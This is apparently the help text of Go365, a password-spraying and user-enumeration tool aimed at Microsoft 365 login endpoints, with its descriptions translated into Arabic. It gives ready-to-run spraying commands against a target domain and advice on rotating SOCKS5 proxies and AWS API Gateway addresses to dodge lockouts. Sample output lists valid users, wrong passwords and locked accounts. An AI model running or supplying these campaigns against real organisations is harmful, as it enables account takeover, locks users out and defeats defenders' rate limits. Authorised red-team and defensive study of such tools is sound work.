go build Go365.go

$ ./Go365

  ██████         ██████   ██████  ██████
 ██                   ██ ██       ██
 ██  ███   ████   █████  ███████  ██████
 ██    ██ ██  ██      ██ ██    ██      ██
  ██████   ████  ██████   ██████  ██████

 الإصدار: 2.0
 المؤلفون: paveway3, h0useh3ad, S4R1N, EatonChips

الاستخدام:

  -h                            يعرض هذه المعلومات


  مطلوب - نقطة النهاية:

    -endpoint [rst or graph]    يحدد نقطة النهاية المراد استخدامها
                                : (-endpoint rst)   *Go365 الكلاسيكي!* login.microsoftonline.com/rst2.srf. طلب SOAP XML مع رد XML
                                : (-endpoint graph)  login.microsoft.com/common/oauth2/token. طلب HTTP POST مع رد JSON

  مطلوب - أسماء المستخدمين وكلمات المرور:

    -u <string>                 اسم مستخدم واحد للاختبار
                                : اسم مستخدم مع أو بدون "@domain.com"
                                : يجب أيضًا توفير علم -d لتحديد النطاق
                                : (-u [email protected])

    -ul <file>                  قائمة أسماء المستخدمين المراد استخدامها (تتجاوز -u)
                                : يجب أن يحتوي الملف على اسم مستخدم واحد لكل سطر
                                : يمكن أن تحتوي أسماء المستخدمين على "@domain.com"
                                : إذا لم يتم تحديد نطاق، يتم استخدام نطاق -d
                                : (-ul ./usernamelist.txt)

    -p <string>                 كلمة المرور المراد محاولتها
                                : ضعها بين علامتي اقتباس مفردة إذا كانت تحتوي على أحرف خاصة
                                : (-p password123)  أو  (-p 'p@s$w0|2d')

    -pl <file>                  قائمة كلمات المرور المراد استخدامها (تتجاوز -p)
                                : يجب أن يحتوي الملف على كلمة مرور واحدة لكل سطر
                                : يمكن استخدام علم -delay لتضمين توقف مؤقت بين كل مجموعة من المحاولات
                                : (-pl ./passwordlist.txt)

    -up <file>                  قائمة اسم المستخدم وكلمة المرور المراد استخدامها (تتجاوز جميع الخيارات أعلاه)
                                : اسم مستخدم وكلمة مرور مفصولان بنقطتين ":" لكل سطر
                                : احذر من تكرار أسماء المستخدمين!
                                : (-up ./userpasslist.txt)

  مطلوب/اختياري - النطاق:

    -d <string>                 النطاق المراد اختباره
                                : استخدم هذا إذا كان اسم المستخدم أو قائمة أسماء المستخدمين لا تتضمن "@targetcompany.com"
                                : (-d targetcompany.com)

  اختياري:

    -w <int>                    وقت الانتظار بين المحاولات بالثواني.
                                : القيمة الافتراضية: ثانية واحدة. يوصى بـ 5 ثوانٍ.
                                : (-w 10)

    -delay <int>                التأخير (بالثواني) بين عمليات الرش عند استخدام قائمة كلمات المرور.
                                : القيمة الافتراضية: يوصى بـ 60 دقيقة (3600 ثانية).
                                : (-delay 7200)

    -o <string>                 ملف الإخراج للكتابة إليه
                                : سيتم الإلحاق إذا كان الملف موجودًا، وإلا سيتم إنشاء ملف
                                : (-o ./Go365output.out)

    -proxy <string>             خادم وكيل SOCKS5 واحد للاستخدام
                                : عنوان IP والمنفذ مفصولان بنقطتين ":"
                                : وكيل SOCKS5
                                : (-proxy 127.0.0.1:1080)

    -proxyfile <string>         ملف يحتوي على قائمة بخوادم وكيل SOCKS5 للاستخدام
                                : عنوان IP والمنفذ مفصولان بنقطتين ":" في كل سطر
                                : يتم اختيار خادم وكيل عشوائيًا لاستخدامه قبل كل طلب
                                : (-proxyfile ./proxyfile.txt)

    -url <string>               نقطة النهاية لإرسال الطلبات إليها
                                : 'رابط الاستدعاء' لبوابة Amazon API Gateway
                                : يوصى بشدة باستخدام هذا الخيار. ابحث عنه في Google، أو
                                : تحقق من هذا: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
                                : (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)

    -debug                      وضع التصحيح.
                                : طباعة رد xml

  ./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
  ./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
  ./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
  ./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login

  يمكنك حتى جدولة حملة تخمين كلمة المرور بأكملها باستخدام الأعلام -pl و -delay :)
  ./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200

  *نصيحة احترافية: إذا حصلت على الكثير من ردود "الحساب مقفل"، فقد ترغب في استخدام وكيل أو بوابة AWS.

...
[-] لم يتم العثور على المستخدم: [email protected]
[-] لم يتم العثور على المستخدم: [email protected]
[-] مستخدم صالح، ولكن كلمة مرور غير صالحة: [email protected]
[!] الحساب مقفل: [email protected]
[-] مستخدم صالح، ولكن كلمة مرور غير صالحة: [email protected]
[!] الحساب مقفل: [email protected]
[!] الحساب مقفل: [email protected]
[-] مستخدم صالح، ولكن كلمة مرور غير صالحة: [email protected]
[-] مستخدم صالح، ولكن كلمة مرور غير صالحة: [email protected]
[!] الحساب مقفل: [email protected]
...

127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...